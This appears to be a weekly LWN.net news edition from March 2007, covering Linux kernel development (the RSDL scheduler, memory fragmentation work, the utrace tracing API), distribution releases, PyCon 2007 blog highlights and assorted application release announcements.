For older kernels: 2.6.19.6 and 2.6.19.7 were released on
March 2. They contain a fair number of fixes, at least one of which
is security-related. "Barring anything major, there will not be any
more 2.6.19 releases. If you disagree with this, please let the stable
team know about the patches that you feel must be in a new release. We
need to move on to flushing out the very large backlog of 2.6.20-stable
patches."
2.6.16.43-rc1 was released on
March 1. It contains a fair number of fixes and a few new hwmon
drivers.
Comments (none posted)
Kernel development news
Ooh you have a vm patch that helps swap on the desktop! I can help you here
with my experience from swap prefetch.
1. Get it reviewed and have noone show any evidence it harms
2. Find hundreds of users who can testify it helps
3. Find a way of quantifying it.
4. ...
5. Merge into mainline.
There, that should get you as far as 4.
I haven't figured out what 4 is yet. I believe it may be goto 1;
--
Con Kolivas (thanks to Jos Poortvliet).
-mm is crap at present. Well. Mainline is crap at present, and
-mm is crap^2. I think I might be about to throw vast amounts of
code overboard.
--
Andrew Morton
I'm really fed up with having to pull big changes after the merge
window, because it just doesn't seem to let up. I'm going to go
postal on the next maintainer who doesn't understand what "merge
window" and "fixes only" means.
--
Linus Torvalds
Comments (3 posted)
CPU scheduling seems to be one of those eternally unfinished jobs.
Developers can work on the CPU scheduler for a while and make it work
better, but there will always be workloads which are not served as well as
users would like. Users of interactive systems, in particular, tend to be
sensitive to scheduler latencies. In response, the current scheduler has
grown an elaborate array of heuristics which attempt to detect which
processes are truly interactive and give them priority in the CPU. The
result is complicated code - and people still complain about interactive
response.
Enter Con Kolivas, who has been working on improving interactivity for some
time. His latest proposal is the Rotating Staircase Deadline
Scheduler (RSDL), which attempts to provide good interactive response with a
relatively simple design, complete fairness, and bounded latency. This
work takes ideas from
Con's earlier staircase scheduler (covered here in June, 2004), but
with a significantly different approach.
Like many schedulers, the RSDL maintains a priority array, as is crudely
diagrammed to the left. At each level there is a list of processes
currently wanting to run at that priority; each process has a quota of time
it is allowed to execute at that priority. The processes at the highest
priority are given time slices, and the scheduler rotates through them
using a typical round-robin algorithm.
When a process uses its quota at a given priority level, it is dropped down
to the next priority and given a new quota. That process can thus continue
to run, but only after the higher-priority processes have had their turn.
As processes move down the staircase, they increasingly must contend with
the lower-priority processes which have been patiently waiting on the lower
levels. The
end result is that even the lowest-priority processes get at least a little
CPU time eventually.
An interesting feature of this scheduler is that each priority level has a
quota of its own. Once the highest priority level has used its quota, all
processes running at that level are pushed down to the next-lower level,
regardless of whether they have consumed their individual CPU time quotas
or not. As a result of this "minor rotation" mechanism, processes waiting
at lower priority levels need only
cool their heels for a bounded period of time before all other processes
are running at their level. The maximum latency for any process waiting to
run is thus bounded, and can be calculated; there is no starvation with
this scheduler.
As processes use up their time, they are moved to a second array, called the
"expired" array; there they are placed back at their original priority.
Processes in the expired array do not run; they are left out in the cold
until no more processes remain in the currently active array - or until all
processes are pushed off the bottom of the active array as a result of
minor rotations. At that point, a "major rotation" happens: the active and
expired arrays are switched and the whole series of events restarts from
the beginning.
The current scheduler tries to locate interactive tasks by tracking how
often each process sleeps; those seen to be interactive are then rewarded
with a priority boost. The RSDL does away with all that. Instead,
processes which sleep simply do not use all of their time at the higher
priority levels. When they run, they are naturally advantaged over their
CPU-hungry competition. If a process sleeps through a major rotation, its
quota goes back into the run queue's priority-specific quota value. Thus,
it will be able to run at high priority even if other high-priority
processes, which have been running during this time, have been pushed to
lower priorities through minor rotations. All of this should add up to
quick response from interactive applications.
A few benchmarks posted by Con show
that systems running with RSDL perform slightly better than with the stock
2.6.20 scheduler. The initial reports from testers have been positive,
with one person urging that RSDL go into
2.6.21. That will not happen at this point in the release cycle, but
Linus is favorable to including RSDL in a
future kernel:
I agree, partly because it's obviously been getting rave reviews so
far, but mainly because it looks like you can think about behaviour
a lot better, something that was always very hard with the
interactivity boosters with process state history.
Con has recently been heard to complain about difficulties getting his
interactivity improvements into the mainline. This time around, however,
he may find the course of events to be rather more gratifying.
Comments (10 posted)
Memory management has been a relatively quiet topic over much of the life
of the 2.6.x kernels. Many of the worst problems have been solved and the
MM hackers have gone on to other things. That does not mean that there is
no more work to do, however; indeed, things might be about to heat up. A
few recent discussions illustrate the sort of pressures which may lead to a
renewed interest in memory management work in the near future.
Mel Gorman's fragmentation avoidance patches have been discussed here a few
times in the past. The core idea behind Mel's work is to identify pages
which can be easily moved or reclaimed and group them together. Movable
pages include those allocated to user space; moving them is just a matter
of changing the relevant page table entries. Reclaimable pages include
kernel caches which can be released should the need arise. Grouping
these pages together makes it easy for the kernel to free large blocks of
memory, which is useful for enabling high-order allocations or for vacating
regions of memory entirely.
In the past, reviewers of Mel's patches have disagreed over how they should
work. Some argue in favor of maintaining separate free lists for the
different types of allocations, while others feel that this sort of memory
partitioning is just what the kernel's zone system was created to do. So,
this time around, Mel has posted two sets of patches: a list-based grouping mechanism
and a new ZONE_MOVABLE
zone which is restricted to movable allocations.
The difference this time around is that the two patches are designed to
work together. By default, there is no movable zone, so the list-based
mechanism handles the full job of keeping alike allocations together. The
administrator can configure in ZONE_MOVABLE at boot time with the
kernelcore= option, which specifies the amount of memory which is
not to be put into that zone. In addition, Mel has posted some comprehensive information on how
performance is affected by these patches. In an unusual move, Mel has
included a set of videos showing just how memory allocations respond to
system stress with different allocation mechanisms in place; the image at
the right shows one frame from one of those videos. The demonstration is
convincing, but one is left with the uneasy hope that the creation of
multimedia demonstrations will not become necessary to get patches into the
kernel in the future.
These patches have found their way into the -mm tree, though Andrew Morton
is still unclear on whether he thinks they are worthwhile or not. Among
other things, he is concerned about how they fit with other, related work,
especially memory hot-unplugging and per-container memory limits. While
patches addressing both areas have been posted, nothing is really at a
point where it is ready to be merged. This
discussion between Mel and Andrew is worth reading for those who are
interested in this topic.
The hot removal of memory can clearly be helped by Mel's work - memory
which is subject to removal can be restricted to movable and reclaimable
allocations, allowing it to be vacated if need be. Not everybody is
convinced that hot-unplugging is a useful feature, though. In particular,
Linus is opposed to the idea. The biggest
potential use for hot-unplugging is for virtualization; it allows a
hypervisor to move memory resources between guests as their needs change.
Linus points out that most virtualization mechanisms already have
mechanisms which allow the addition and removal of individual pages from
guests; there is, he says, no need for any other support for memory
changes.
Another use for this technique is allowing systems to conserve power by
turning off banks of memory when they are not needed. Clearly, one must be
able to move all useful data out of a memory bank before powering it down.
Linus is even more dismissive of this idea:
The whole DRAM power story is a bedtime story for gullible
children. Don't fall for it. It's not realistic. The hardware
support for it DOES NOT EXIST today, and probably won't for several
years. And the real fix is elsewhere anyway...
More information on his objections is available here for those who are interested. In short,
Linus thinks it would make much more sense to look at turning off entire
NUMA nodes rather than individual memory banks. That notwithstanding, Mark
Gross has posted a patch enabling
memory power-down which includes some basic anti-fragmentation
techniques. Says Mark:
To be clear PM-memory will not be useful unless you have workloads
that can take advantage of it. The identified workloads are not
desktop workloads. However; there is a non-zero number of
interested users with applicable workloads that make pushing the
enabling patches out to the community worth while. These workloads
tend to be within network elements and servers where memory
utilization tracks traffic load.
It has also been suggested that resident set size limits (generally
associated with containers) can solve many of the same problems that the
anti-fragmentation work is aimed at. Rik van Riel was heard to complain in response that RSS limits
could aggravate the scalability problems currently being experienced by
the Linux memory management system. That drew questions from people like
Andrew, who were not really aware of those problems. Rik responded with a few relatively vague
examples; his ability to be specific is evidently restricted by agreements
with the customers experiencing the problems.
That led to a whole discussion on whether it makes any sense to try to
address memory management problems without test cases which demonstrate
those problems. Rik argues that fixing
test cases tends to break things in the real world. Andrew responds:
Somehow I don't believe that a person or organisation which is
incapable of preparing even a simple testcase will be capable of
fixing problems such as this without breaking things.
Rik has put together a page
describing some problem workloads in an attempt to push the discussion
forward.
One of Andrew's points is that trying to fix memory management problems
caused by specific workloads in the kernel will always be hard; the kernel
simply does not always have the information to know which pages will be
needed soon and which can be discarded. Perhaps, he says, the right answer
is to make it easier for user space to communicate its expected future
needs. To that end, he put together a pagecache management tool for
testing. It works as an LD_PRELOAD library which intercepts
file-related system calls, tracks application usage, and tells the kernel
to drop pages out of the cache after they have been used. The result is
that common operations (copying a kernel tree, for example) can be carried
out without forcing other useful data out of the page cache.
There were some skeptical responses to this posting. There was also
some interest and some discussion of how smarter, application-specific
policies could be incorporated into the tool. A possible backup tool policy, for example,
would force the output file out of memory immediately, track pages read
from other files and force them back out - but only if they were not
already in the page cache, and so on. It remains to be seen whether
anybody will run with this tool and try to use it to solve real workload
problems, but there is some potential there. The kernel does not always
know best.
Comments (26 posted)
The interface for tracing programs under Linux is the
ptrace()
system call. It is used primarily by debuggers, but there are other
applications too; User-mode Linux can use
ptrace(), for example.
The interface gets the job done, but there are few system calls which
endure more criticism. The list of
ptrace() shortcomings is long,
its interface is difficult for user-space developers to use and for
kernel-space developers to maintain, it is inefficient, and it has been the
source of more than one security problem over the years. Still,
ptrace() endures; it is part of the user-space API and there is
nothing better available.
Soon there may be a better alternative, in the form of the "utrace" patch
(by Roland McGrath) which is currently in the -mm tree. Utrace replaces
ptrace() entirely, while maintaining the same interface to user
space. As such, it is a useful cleanup of a difficult system call. The
real value of utrace, however, is likely to be seen in new tracing
interfaces in the future.
The core utrace code does not interface with user space at all; instead, it
is an in-kernel API which can be used to build kernel-based tracing
mechanisms. These mechanisms are based around the concept of a "tracing
engine," which is defined by the usual structure full of method pointers.
This structure (struct utrace_engine_ops) has fourteen callbacks,
each covering something which the traced process might do or have done to
it. For example, one callback is:
u32 (*report_syscall_entry)(struct utrace_attached_engine *engine,
struct task_struct *tsk,
struct pt_regs *regs);
Whenever the traced process invokes a system call, the tracing engine will
(if it has asked for this event) receive a call to its
report_syscall_entry() callback. The call happens at a "safe"
time before the system call is executed; no locks are held, and the tracing
process can safely access the traced process's state. The callback returns
a bitmask specifying what happens next; the bitmask can change the tracing
state, detach the engine, hide the event from other tracing engines, and
more.
A tracing engine is put into service with:
struct utrace_attached_engine *
utrace_attach(struct task_struct *target, int flags,
const struct utrace_engine_ops *ops,
unsigned long data);
This call will attach the engine to the given target process.
There can be more than one engine attached to any given process - a
significant difference from ptrace(). A newly-attached engine
does not actually do anything, one can think of it as being in an idling
state. Putting the engine into gear requires setting one or more action
flags with:
int utrace_set_flags(struct task_struct *target,
struct utrace_attached_engine *engine,
unsigned long flags);
There is a special flag (UTRACE_EVENT(QUIESCE)) which puts the
target process into a quiescent state. In general, operating on the task
first requires setting this flag, then waiting for a callback (to the
report_quiesce() engine method) that says the process is truly
stopped. There is a whole other set of events which can be requested:
forking, execing a new program, receiving a signal, process death, system
call entry and exit, etc. Single-stepping through instructions and program
blocks is also handled through the event mechanism.
A signal can be forced into the target process with:
int utrace_inject_signal(struct task_struct *target,
struct utrace_attached_engine *engine,
u32 action, siginfo_t *info,
const struct k_sigaction *ka);
Signals injected in this manner are delivered to the target process
immediately; they are not queued in the usual manner.
There is more to the utrace API than is described in this brief overview,
including an API for describing and working with CPU registers;
see the excellent documentation file
packaged with the patch for more details. Also included with the patch is
a complete reimplementation of ptrace() built on top of utrace.
Reimplementing ptrace() is only so interesting, however, even if
the result is a big improvement. The real purpose behind utrace looks to
be to inspire the creation of the next generation of user-space process
tracing APIs, and more. Roland told your editor:
The intent of the utrace API is not just to facilitate my writing
the one great new userland API to replace ptrace. Its core purpose
is to put writing a new user debugging facility more on par with
writing a software device driver, a filesystem, or a network stack,
so that many people can come up with ideas and experiment without
doing brain surgery every time. It ties up the really nasty
low-level implementation issues, and lets different unrelated
facilities coexist without interfering with each other.
In other words, while utrace should enable the eventual retirement of
ptrace(), there is more coming than that. If and when utrace
makes it into the mainline, look for it to inspire interesting developments
in a number of areas.
Comments (11 posted)
Patches and updates
Kernel trees
Core kernel code
Development tools
Device drivers
Documentation
Filesystems and block I/O
Memory management
Networking
Architecture-specific
Virtualization and containers
Miscellaneous
Page editor: Jonathan Corbet
Distributions
News and Editorials
Red Hat Enterprise Linux (RHEL) 5 is due to be released on March 14. In
addition to the rock-solid Server and Client software, RHEL 5 includes some
unsupported technology previews, including Stateless Linux, GFS2, FS-Cache,
Compiz, AIGLX and much more.
RHEL 5 features a 2.6.18 kernel with virtualization support and many
improvements over the 2.6.9 kernel used by RHEL 4. A few features have
been backported from 2.6.19 as well for improved performance and
scalability.
Red Hat Enterprise Linux 5 Release Notes are available by platform:
ia64,
ppc,
S390,
x86
and x86_64.
Though not finalized yet, they provide a good look at what you'll find in
RHEL 5.
Comments (1 posted)
New Releases
64 Studio is a GNU/Linux distribution made for digital content creation,
including audio, video, graphics and publishing tools. A remix of Debian
testing, it comes in both AMD64/Intel64 and 32-bit flavors. Version 1.2.0
is a development release, based on a snapshot of Debian from February 14th.
"
The 2.6.19-rt kernel package included in this release may cause a
kernel oops with certain USB audio hardware. Users of 64 Studio on
production systems may therefore prefer to stick with the stable 1.0
release for the time being."
Full Story (comments: none)
BackTrack 2.0 has been released. BackTrack is a Slackware-based live CD distribution aimed
at penetration testing. "
Currently BackTrack consists of more than
300 different up-to-date tools which are logically structured according to
the work flow of security professionals. This structure allows even
newcomers to find the related tools to a certain task to be
accomplished." The
BackTrack page has more
information.
Full Story (comments: 7)
Fedora 7 Test 2 has been released. Click below for download information,
some known problems and a look at what's new since Test 1.
Full Story (comments: 1)
The Foresight Linux community has announced the release of version 1.0.1 of
Foresight Linux. "
Foresight Linux is a desktop linux system that
just works. Our mission is to provide a truely useful desktop system that
is friendly for the novice user, as well as flexible for the power
user. Great attention has been payed to making things simple and
integrated, and we seek an excellent end-user experience by removing the
barriers commonly associated with usage of the Linux Desktop."
Full Story (comments: none)
Musix GNU+Linux 0.99, a Debian-based distribution aimed at multimedia
creation, has been released. "
The most remarkable programs in Musix 0.99 are: Ardour 0.99.3 (audio
sequencer), Rosegarden 1.4.0 (audio/midi sequencer), Cinelerra (video
edition), Bluefish (web design), GIMP (image manipulation), Inkscape
(vectorial graphic design) and Blender3D (3D animation)."
Full Story (comments: 3)
The Comodo Trustix team has announced the release of Trustix Secure Linux
3.0.5, an update to the previous "Tikka Masala". The new releases is named
"Mirch Masala" to describe the new interesting changes associated.
"
The highlighted change for this release is the return of anaconda as
the preferred choice of installer for Trustix. In addition some of the core
packages have been updated to their latest revisions to provide the same
level of security and stability."
Full Story (comments: none)
The fifth Feisty Fawn Herd 5 is out, in Ubuntu, Kubuntu, Edubuntu and
Xubuntu flavors. "
The primary focus during the time from Herd 4 has
been bug fixing. Please refer to http://www.ubuntu.com/testing/herd5
for information on changes in Ubuntu, and https://wiki.kubuntu.org/FeistyFawn/Herd5/Kubuntu
for changes in Kubuntu."
Full Story (comments: none)
Distribution News
The platforms for the candidates are now
available, as are
any rebuttals. The
Debian Project Leader
Elections 2007 page has links to each candidate's platform, and any
rebuttals from that candidate have been appended to the platform. The
DPL Debate will be on IRC in
#debian-dpl-debate on irc.debian.org (OFTC) at 21:30 UTC, March 10th 2007,
ending at 00:30 UTC, March 11th 2007. Discussion of the debate will occur
in #debian-dpl-discuss on the same network.
Comments (none posted)
It seems you can't go home again. Shortly after rejoining the project,
Gentoo founder Daniel Robbins has left again. Click below for links to
relevant messages on gentoo-devel mailing list and Alexandre Rostovtsev's
humorous summary of the events.
Full Story (comments: 7)
GNU-Darwin is a free software
distribution for PowerPC, Intel and AMD, based on FreeBSD and of course GNU
software. "
I have recently gotten a handle on the life expectancy of
our Distribution in years. Given the current rate of decay and
deterioration of our equipment, including file system damage and
obsolescence, we can expect that GNU-Darwin will be dead as a the
proverbial door-nail within 9 years. In order to avert the demise of the
Distro, it would take a major rejuvination of talent, resources, and
interest, which is not forthcoming it appears."
Full Story (comments: none)
The
OpenSolaris starter kit
includes tutorials, documentation, and two DVDs filled with useful software
like Solaris Express and live CD images for Nexenta OS, BeleniX and
SchilliX, Sun Studio compilers and OpenSolaris source code.
Comments (none posted)
Here's a word from the GNOME team at Novell. "
The team at Novell
responsible for GNOME have been quiet in openSUSE for sometime, even though
we already have several great external contributors like James Ogley and
Andreas Hanke and we've pushed in significant general technologies like
Compiz/Xgl, NetworkManager and Beagle. All this is changing though, we've
had an IRC channel for a while but we haven't really advertised it
(#opensuse-gnome on irc.freednode.net) and we have an opensuse-gnome
mailing list as well now."
Full Story (comments: none)
The Ubuntu Masters Of The Universe (MOTU) have a new mailing list and a new
application form for those who are already involved to take the next step
and become a MOTU.
Full Story (comments: none)
Distribution Newsletters
The
DistroWatch
Weekly for March 5, 2007 is out. "
This is the most enjoyable
part of the year for those Linux users who enjoy testing the development
releases of Linux distributions - Fedora, Mandriva, Ubuntu, SimplyMEPIS and
PCLinuxOS all delivered brand new test builds last week and the first
impressions of all them are highly positive. In the news section, a
start-up project releases Ubuntu Muslim Edition, Sun Microsystems joins the
Free Software Foundation, and Linux and open source software makes a
serious impact on education. Finally, don't miss our commentary on the
future of DistroWatch Weekly where you can have your say over the direction
your favourite publication takes over the next few weeks."
Comments (none posted)
The
Fedora
Weekly News for March 5, 2007 covers Announcing Fedora 7 Test 2 (6.91),
Reduction of Fedora releases (in Bugzilla), Phoronix: Fedora 7 KVM
Virtualization How-To, IBM DeveloperWorks: Build a Fedora Live CD,
Linux.com: Fedora cleans its repositories, considers move to Free Software,
and several other topics.
Comments (none posted)
The
Gentoo
Weekly Newsletter for February 26, 2007 looks at GWN is seeking help,
Heard in the community, Gentoo in the press and several other topics.
Comments (none posted)
Package updates
Xen is back in the Fedora kernel package.
Full Story (comments: none)
Newsletters and articles of interest
Linux.com
looks at the
direction of Fedora. "
The Red Hat-sponsored Fedora project is
undergoing several changes before the release of its next version. In
preparation for Fedora 7, which will fuse the Core and Extra software
repositories, Fedora's developers are auditing the repositories for
non-free and non-open software that doesn't meet the project's
guidelines. Eventually, the project may change its package guidelines to
only allow Free Software."
Comments (none posted)
O'ReillyNet
looks
at making NetBSD multiboot-compatible. "
The i386 architecture is
full of cruft required to maintain compatibility with old machines that go
back as far as the 8086 series. Technically speaking, these features aren't
necessary anymore because any recent computer based on this architecture
uses a full 32-bit operating system that could work perfectly fine without
the legacy code. Unfortunately, the compatibility hacks remain in place and
hurt the development of new software."
Comments (none posted)
HowtoForge
sets up
a desktop with Ubuntu 6.10 "Edgy Eft". "
With the release of
Microsoft's new Windows operating system (Vista), more and more people are
looking for alternatives to Windows for various reasons. This tutorial is
the third in a series of articles where I will show people who are willing
to switch to Linux how they can set up a Linux desktop (Ubuntu 6.10 Edgy
Eft in this article) that fully replaces their Windows desktop, i.e. that
has all software that people need to do the things they do on their Windows
desktops. The advantages are clear: you get a secure system without DRM
restrictions that runs also on older hardware, and the best thing is: all
software comes free of charge."
Comments (none posted)
Distribution reviews
PerformancePC
reviews
Puppy Linux 2.14. "
Put together from scratch by Australian Barry
Kauler, Puppy Linux is an extraordinary development, being a first-class OS
than can load itself into and run completely from as little as 128 MB of
RAM! And this includes being able to open and save your work completely in
RAM. Naturally, working this way is very fast and quiet; you won't hear
much noise coming from your hard drive! Right from the sparse opening
screen and the puppy bark, you are treated to a very warm, comforting
little world unto itself."
Comments (none posted)
InternetNews.com
looks
at RHEL 4.5. "
This week Red Hat rolled out a beta release of its
fifth update to RHEL 4 officially tagged Red Hat Enterprise Linux 4.5,
providing users with a small taste of the virtualization that is to come in
RHEL 5."
Comments (1 posted)
Linux.com
reviews
Sidux. "
Sidux aims to be the best Debian sid-based live CD --
and it succeeds. It offers a clean, easy hard disk install and a fast
release cycle. It's a rare distribution that impresses me before I've even
tried it, but sidux did just that when, a few hours after I'd downloaded
and burned a two-day-old preview release, the project announced that the
next release was available for download. Clearly the sidux team intends to
live up to its fast release philosophy."
Comments (none posted)
DesktopLinux
looks at
SystemRescueCD 0.3.3. "
The Gentoo-based SystemRescueCD 0.3.3 live CD
was released on March 1, sporting a spiffy new 2.6.19.2 kernel and the
WMaker desktop environment. As its name implies, SystemRescueCd is a Linux
system on a bootable CD-ROM that can be used for repairing a system and its
data following a crash."
Comments (none posted)
Page editor: Rebecca Sobol
Development
PyCon 2007, the
2007 Python Language Conference, took place on
February 23-25, in Addison, Texas.
PyCon is a community-oriented conference targeting developers of Python applications and the Python interpreter itself. The organizers aim to make the conference affordable and accessible to all.
PyCon gives you opportunities to:
- see a variety of presentations, panels, and impromptu discussions.
- learn about significant advances in the Python development community.
- meet fellow developers from around the world.
- participate in programming sprints with fellow developers.
![[PyCon]](/images/ns/PyCon.png)
PyCon 2007 may be one of the most blogged-about conferences yet.
What follows is a collection of comments from members of the Python
community describing conference highlights.
Python creator Guido van Rossum put together a
PyCon 2007 Review:
"I'm exhausted, but it's been a great week. The conference exceeded all my (and everybody else's) expectations, with a 40% attendance increase, excellent keynotes, and an incredible "buzz"."
Guido mentioned talks on IronPython, the One Laptop Per Child project,
the keynote speeches, Python 2.6 and the state of the Python 3000 project
(Python 3.0):
"For me personally, this conference signified the coming together of the Python 3000 project (a.k.a. Py3k or Python 3.0). While in last year's keynote about this topic I mostly presented proposals, process, and plans, this year I could reveal many finished (as well as some unfinished or controversial) features, a concrete timeline with an alpha and a final release date (June 2007 and 2008, respectively), and, most importantly, a well-defined migration strategy."
Guido has published some
Video and Powerpoint Slides from his Python 3000 talk.
Jesse Noller says
OLPC Has Excited me:
"Many other people are blogging about it - but this morning opening Keynote by Ivan Krstić of the One Laptop Per Child project was easily one of the best keynotes/presentations I have ever seen.
My view of the project has changed."
Grig Gheorghiu discusses the OLPC talk during
PyCon day 1:
"OLPC wants to change the way teaching and learning is done these days; they want to go back to the time when preschool kids interacted with each other by playing, and learned naturally peer-to-peer (as opposed to institutionalized teaching, which is one-to-many)"
Matt Harrison covered the
Testing Tools Panel:
"I've blogged about bugs and testing in open source previously, so I was quite interested in this panel. I was surprised because there was little discussion of code coverage, because I think it is quite important for dynamic languages to have good coverage. (I find that doctest and coverage.py not working together is a huge warning sign that people are ignoring coverage)."
Matt also had some
Pycon2007 observations and thoughts:
"Ubuntu appears to be the linux distro of choice now. I think I was the only one running a non-ubuntu linux (gentoo). This was quite surprising cause I met quite a few last year running Gentoo. (But since both make pretty liberal use of python I won't complain too hard). Only saw one Vista machine (Jim Huginin), but the rest seemed pretty evenly split among mac/xp/ubuntu. Draw whatever conclusion you want from that.
It appears that a lot of companies are looking to hire python people, and are having a hard time finding them."
Richard Jones
covers day 3 of the event:
"I chaired a mixed-bag session which included some discussion on teching programming with Python and finished up with a cool web widgets library. I then had some more hallway BoF, practised my lightning talk and attended the women-in-IT talk. Anna had some really interesting things to day, as she's done a pretty good survey of the available literature on the subject. The main conclusion she came up with is "we don't know for sure" why the imbalance is there, but there's some really good theories. Top of the list is culture, both outside IT (women don't do programming) and inside IT (the geek/wizard culture)."
Ned Batchelder put together a
Pycon blog:
"I wasn't able to pay good attention to the web frameworks panel due to a crisis elsewhere, but from the testing tools panel:
Chad Whitacre: "I'm addicted to dots." If you don't know what that means, you need to write (or run) more unit tests.
Titus Brown: "I don't use test-driven development, I use stupidity-driven testing: when I do something stupid, I wrote a test to make sure I don't do it again.""
Spyced presents some
PyCon SQLAlchemy tutorial slides.
"My SQLAlchemy tutorial went pretty well for the most part. It was a fast pace but most people kept up pretty well. If I did it again I would add more of an intro to ORM in general for people who had never used one, but over half the attendees had used SO or django's or tried SA already."
The Voidspace Techie Blog covers the
Python Community, Rails Community, Beautiful Code and the Testing Culture:
"That aside, despite appreciating both languages, Andrzej feels that he learns more from the Ruby community. I mentioned earlier that Andrzej isn't a language zealot. He is a zealot for agile development techniques. What he appreciates about both Ruby and Python is that they are languages that assist and encourage in the production of beautiful and elegant code. He cares about the beauty of his code, ugly code offends him."
Brett Cannon
PyCon 2007 Report:
"After the keynote I do what I did last year, I ignored almost all talks and hacked. =) I decided I wanted to get my PEP 362 implementation finished before the sprints started (and I did; see the sandbox). It was interesting developing some code that is both 2.6 and 3.0 compatible. If you have a need for an object representation of a function/method signature then go ahead and grab the code."
Richard Jones
covered the PyCon 2007 Game Sprint:
"The "Game Sprint" has been about as disorganised as I'd expected. A few of us messed around writing games along the theme of "small" (with extremely loose interpretation ;). Mostly people used the exercise to learn pygame or PyOpenGL (or even in one case Python as well!) and write a game at the same time. Everyone seemed to have fun doing so, and there's now a few more people comfortable with the toolkits, which was the ultimate goal."
Titus Brown
announced the new testing-in-python mailing list.
"Catalyzed by the great fun we had at PyCon '07, Grig Gheorghiu and I
have created the "testing-in-python" (or "TIP") mailing list.
This list will hopefully serve as a forum for discussing Python testing
tools, testing approaches useful in Python, Web resources for same, and
whatever else people would like to talk about."
Glyph Lefkowitz is
Recovering from PyCon:
"One cool thing that I can shout from the rooftops already is that Guido, a group of concerned hackers, and I got to have a meeting of the minds, which Guido has already blogged about, addressing many upcoming concerns we all had about Python 3. That, and several other discussions with the responsible developers about the proposed transition plans for the 3.0 release have put my mind at ease."
Photographs of the event were been published by
Jeremy Hylton and
Grig Gheorghiu.
Lastly, Andrew Kuchling wrapped up the event with his
PyCon wrapup and
PyCon 2007 is over summary.
"At-the-door registration was surprisingly stronger than we had been expecting, and the final attendance figure was 593 registered attendees, a 44% increase from 2006.
The conference ran smoothly -- there were no disasters, only the odd oversight on our part or minor glitches."
Comments (1 posted)
System Applications
Audio Projects
Version 0.9.80 of Rivendell, a radio automation system, has been
released. This version adds SAS router support, RDImport improvements,
a new metadata format, RDCatch error alarms, RDAirPlay log autoloading,
a database update and bug fixes.
Full Story (comments: none)
Database Software
Version 2.0.1 Release Candidate 2 of the Firebird DBMS
has been announced.
"
This sub-release introduces a number of bug fixes done since the v.2.0 release in November. It does not add any new functionality to the database engine. A minor improvement is detection of Gentoo or FreeBSD during configuration."
Comments (none posted)
Version 1.3.5 of
innotop, a MySQL queries and status monitoring application,
has been announced.
"
Version 1.3.5 is nearly feature-complete for the upcoming stable 1.4 release. I recommend that everyone upgrade to it. There are a lot of new features, including some that were scheduled for 1.6 but got moved sooner because of user requests."
Comments (none posted)
Beta version 5.1.16 of the MySQL DBMS is available.
"
Bear in mind that this is a beta release, and as any other pre-production
release, caution should be taken when installing on production level
systems or systems with critical data."
Full Story (comments: none)
The March 4, 2007 edition of the PostgreSQL Weekly News
is online with the latest PostgreSQL DBMS articles and resources.
Full Story (comments: none)
Filesystem Utilities
Stable version 5.7 of TestDisk
is available.
"
TestDisk is a tool to check and undelete partitions. It works with the following partitions: FAT12, FAT16, FAT32, Linux (EXT2/EXT3/HFS/JFS/RFS/XFS), Linux Raid, Linux swap, NTFS (Windows), BeFS (BeOS), UFS (BSD), and Netware NSS."
Comments (none posted)
Interoperability
Version 3.0.25 pre 1 of Samba has been announced.
"
This is a preview release of the Samba 3.0.25 code base and
is provided for testing only. This release is *not* intended
for production servers. There has been a substantial amount
of development since the 3.0.23/3.0.24 series of stable releases.
We would like to ask the Samba community for help in testing
these changes as we work towards the next significant production
upgrade Samba 3.0 release."
See the
release notes for more information.
Full Story (comments: none)
Mail Software
Stable version 3.1.2 of Mailfromd
has been announced.
"
Mailfromd is a general-purpose mail filtering daemon for Sendmail and Postfix. It is able to filter both incoming and outgoing messages using criteria of arbitrary complexity, supplied by the administrator in the form of a script file. The program interfaces with Sendmail using Milter protocol. Mailfromd provides the following basic features: flexible programming language for writing filter scripts, sender address verification, greylisting and whitelisting, controlling mail sending rate."
Comments (none posted)
Web Site Development
Version 4.0 of ccHost, a web-based media sharing system, is out.
"
This release builds upon ccHost's novel support of collaboration, sharing,
and storage of multi-media using the different Creative Commons licenses
and metadata.
These features most notably show up and are tested in Creative Commons'
project, ccMixter (www.ccmixter.org), a popular on-line social network
service that supports legal music sharing and remixing."
Full Story (comments: none)
The March 2, 2007 edition of the Midgard Weekly Summary
is out with the latest news from the Midgard web content management system.
Full Story (comments: none)
Version 3.3.0 of
mnoGoSearch,
a web site search engine, is out with a long list of improvements. See the
change log
for details.
Comments (none posted)
Desktop Applications
Audio Applications
KDE.News
notes
the publication of issue 7 of the
Amarok Newsletter.
"
We talk about Amarok's success in the LinuxQuestions.org yearly poll, new features in the upcoming Amarok 2, and continue to point out interesting related projects. Read on for some Amarok lovin' from Wil Wheaton.
In the other news, Wil Wheaton from Star Trek reviews Amarok."
Comments (none posted)
Version 0.59 of Mammut, an audio FFT application, is out with several
new features and bug fixes.
Full Story (comments: none)
Business Applications
Version 4.0 of Pythomnic
has been announced, it adds several new capabilities.
"
Pythomnic is a platform for building non-stop middleware around a set
of network services. It allows changing source code and configuration
on the fly without interrupting the live service. Pythomnic modules
can be invisibly migrated from one server to another for redundancy
or load balancing. Such middleware can take as much business logic
as necessary, from being a simple adapter to an integration platform."
Comments (none posted)
Data Visualization
Version 4.2 of Gnuplot, a data graphing utility, is out.
"
Of particular note in this release is support for screen
display via a new gnuplot terminal type "wxt", based on
the wxWidgets, Cairo, Pango libraries. This gives superb
font rendering and plot anti-aliasing.
Anyone interested in the future directions of gnuplot development
may want to have a look also at upcoming features showcased on
the demo site for the CVS development version."
Full Story (comments: 5)
Desktop Environments
Version 2.17.92 of the GNOME desktop environment is available for
testing.
"
Here we go: this is the last unstable release before 2.18.0. We've all
added cool features, important bug fixes, great translations, or shiny
documentation during the past six months. And it'll be soon ready for
public consumption."
Full Story (comments: none)
Version 2.17.92 of GARNOME, the bleeding edge GNOME distribution, is out.
"
We are pleased to announce the release of GARNOME 2.17.92 Desktop and
Developer Platform. This release includes all of GNOME 2.17.92 (aka
2.18.0 Release Candidate), tweaked and updated with love by the GARNOME
Team."
Full Story (comments: none)
The following new GNOME software has been announced this week:
You can find more new GNOME software releases at
gnomefiles.org.
Comments (none posted)
The March 4, 2007 edition of the
KDE Commit-Digest has been
announced.
The content summary says:
"
KSplashX, a potential replacement for the
KSplashML engine is imported into KDE SVN. Continued progress in the Solid
and NetworkManager integration. More refinement, including better keyboard
shortcuts, in Konsole. New keyboard layouts in KTouch. Icon and undo support
in Step, the educational physics simulation package. KBounce becomes the
latest game to move to a scalable interface and graphics. More work in
KSquares, Konquest, KSpaceDuel and KReversi. KSudoku starts to be ported to
KDE 4..."
Comments (none posted)
The following new KDE software has been announced this week:
